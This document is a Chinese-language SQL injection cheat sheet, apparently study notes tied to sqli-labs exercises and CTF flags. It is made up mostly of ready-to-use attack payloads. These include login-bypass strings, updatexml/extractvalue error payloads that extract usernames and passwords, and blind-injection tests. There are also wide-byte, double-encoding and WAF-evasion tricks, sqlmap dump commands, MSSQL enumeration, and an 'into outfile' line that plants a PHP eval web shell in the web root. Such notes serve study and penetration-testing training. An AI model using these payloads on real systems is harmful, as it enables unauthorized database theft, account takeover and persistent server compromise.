对用户输入的数据或cookie表单等内容未进行过滤或验证(防止篡改),就有可能导致拼接的SQL语句被执行,获取数据库信息甚至提权
注入点:GET、POST、Cookie、HTTP头、搜索框、登录框、URL参数(某些接口)、信息修改(如个人信息)、留言板等
注入类型:字符性、数字型
按回显:布尔注入、报错注入、延时注入等
在mysql内自带一个数据库,名为information_schema
schemata | 包含了所有的数据库 |
schema_name | 数据库名 |
tables | 包含了所有数据库表 |
columns | 包含了所有字段 |
column_name | 列的名称 |
Information_schema.columns | 表示所有的列的信息 |
Information_schema | 表示所有信息,包括库、表、列 |
Information_schema.tables | 表示所有的表的信息 |
table_schema | 数据库的名称(它是一张表对应一个table_schema,数量大于等于总数据库数量) |
table_name | 表的名称 |
SQL数据库注释
SQL server Oracle | –单行注释 /**/多行注释 |
Mysql | –单行注释 #单行注释 |
使用–注释时后面一般会加上一个字符,如–+等
某些静态界面有可能是通过如参数查找的,只是设置为静态界面而已。
读取、下载文件
必须依赖于数据库中secure_file_priv参数,该参数指定了数据库导入和导出的安全路径。
该参数可以有三种类型,如果该参数为一个目录,那么我们执行上述命令的前提是文件处于该参数指定的目录下;
如果该参数为NULL,那么上述命令都无法执行;
如果该参数为空,那么上述命令都可以无限制执行。
#读取/var/www/html/flag.txt文件
select load_file("/var/www/html/flag.txt")
#在/var/www/html/写入一句话木马
select "<?=eval($_POST['dgm'])>" into outfile "/var/www/html/dgm.php"
盲注
使用下面的函数进行判断
#从第2位开始取1位
substr(database(),2,1)
mid(database(),2,1)
#把a转化位ascii的十进制
ascii('a')
#判断数据库长度是否等于8
length( ( select database() ) )=8
#查询数据库中有多少个表,同理可以也查询到有多少个列
select count(table_name)
count(userid) 查看列userid有多少(即表有多少项)
登录框的万能密码
构造语句闭合方式,这种语句必须满足用户名存在
Username = admin' or '1'='1
select * from users where username='' and password=''
相当于执行
select * from userss where username='admin' or '1'='1' and password=''
构造语句使用注释,这种方式可以使用的任意用户名
Username = a' or 1=1--+
Username = a' or 1=1#
select * from userss where username='' and password=''
相当于执行
select * from userss where username='a' or 1=1--+' and password=''
select * from userss where username='a' or 1=1#' and password=''
常用的报错注入
1、利用mysql里面的updatexml()函数,通过格式不匹配的方式进行注入攻击,但是最多显示32字节信息,因此有时需要利用mid、substr等函数截取
updatexml的爆错原因很简单,updatexml第二个参数需要的是Xpath格式的字符串。我们输入的显然不符合。故报错由此报错。
#updatexml(1,(注入语句),1)
updatexml(1,concat(0x7e, (select concat(name,0x7e,password) from member limit 1,1) ),1 )
2、利用mysql的floor函数
3、利用mysql的extractvalue函数,同updatexml一样,限制长度也是32位
extractvalue注入的原理:依旧如同updatexml一样,extract的第二个参数要求是xpath格式字符串,而我们输入的并不是。所以报错。
#extractvalue(1,(注入语句))
extractvalue(1,
concat(0x7e,(select concat(name,0x7e,password) from member limit 1,1))
)
堆叠注入
多条语句同时运行,只有在部分数据库有效(mysql、mssql),(oracle无效);表示一条语句结束,可以在“;”后面在使用另一条注入语句,通常可以使用插入、删除、更新等。
在web网站中,代码通常只返回第一条语句的结果。
sqlmap的使用
--flush-session
刷新session数据库、刷新检测、payload结果
--random-agent
使用随机代理,修改UA头
python sqlmap.py -r test.txt -dbs --flush-session
python sqlmap.py -r test.txt --flush-session -D boolean -tables
python sqlmap.py -r test.txt --flush-session -D boolean -T flag -C flag -dump
宽字节注入(绕过针对’的转义过滤 ’ --> ')
GB2312、GBK、GB1803宽字节,两个字符将’变成XX’。
如,‘经过url编码变成了%5C%27,在经过代码解码就变回了’
MySQL在使用GBK编码时,可以使用%df’。如当在传递参数中输入%df’,经过url编码变成%df%27’,再由代码(GBK等格式)解码成縕’。此时绕过了转义字符成功输入 ’ 字符
二次编码注入
Urldecode()与php本身处理编码时,
%2527 经过php本身编码效果–>%27 ,再经过urldecode()函数编码变成了’
二次注入(Less-24)
Update users SET password=‘zzz123’ where username=‘’ and password=‘’
当你注册一个用户名为admin’# 时,使用修改模块的时候,相当于修改了admin的密码
Update users SET password='zzz123' where username='admin'#' and password=''
内联注释
/* */ 在mysql中是多行注释 但是如果里面加了! 那么后面的内容会被执行
传参方式
/?id=1
/47
编码绕过(Less-21)
salmap的使用tamper模块的base64encode模块
–tamper=base64encode
注释符过滤绕过(Less-23)
Id=1’ order by 3 --+ | php后端文件中将#、–号使用了空串代替了 |
Id=1’ union select 1,2,3’ | 可以使用union方式,直接闭合,手动尝试多列 |
WAF绕过(安全狗)
1、使用/**/绕过
2、参数污染
在apache/php中没有做限制的话,会截取后面的参数值,而安全狗做防护检测是对第一个值做检测
3、sqlmap绕过WAF的使用
MSSQL数据库
通常可以看到asp脚本,类似于apache配合的php脚本
可以通过报错信息ODBC,知道这是一个MSSQL数据库
Top 1显示输出第一行,类似与MySQL的limit 0,1的作用
Top 2显示输出前俩行
master数据库
master…sysdatabases表,存储了系统的数据库库名信息。其中的列名name表示数据库名,bdid表示是第几个数据库,通常用户的数据库是从第5个开始
sysobjects表,其中列xtype='u’表示用户创建的表信息,name表示表名
syscolumns表,其中列name表示列名
可能是数值、空值、字符串等
Union all select 1,2,null,4
也可以试试
Union all select 1,2,‘abc’,4